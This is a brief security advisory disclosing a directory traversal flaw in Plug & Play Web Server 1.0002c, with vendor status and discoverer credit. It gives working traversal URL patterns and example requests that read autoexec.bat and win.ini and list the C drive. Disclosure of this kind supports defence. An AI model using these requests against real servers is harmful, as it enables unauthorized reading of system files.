Directory traversal in Plug & Play Web Server
Directory traversal in Plug & Play Web Server
Introduction:
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"The Plug and Play Web Server provides all of the tools you need to host your
own website. The tools are bundled together in one comprehensive software
package that it is incredibly easy to use and maintain."
- Vendors Description
[ http://www.pandpsoftware.com ]
Details:
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Vulnerable systems: Plug & Play Web Server version 1.0002c
Plug & Play Web Server have a Directory Traversal Vulnerability Using the
string '../' or '..\' in a URL, an attacker can gain read access to any file
outside of the intended web-published filesystem directory.
http://[target]/../../existing_file
http://[target]\..\..\existing_file
Examples:
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http://localhost/../../autoexec.bat
http://localhost/../../windows/win.ini
http://localhost/../../ [show the files and the folders in C drive - if the
'Show Directory list when homepage does not exist' option is active.]
Vendor status:
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The vendor has been informed, and they are fixing this bug.
The updated version, when released, can be downloaded from:
http://www.pandpsoftware.com/download.htm
Discovered by/Credit:
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Bahaa Naamneh
b_naamneh@xxxxxxxxxxx
http://www.bsecurity.tk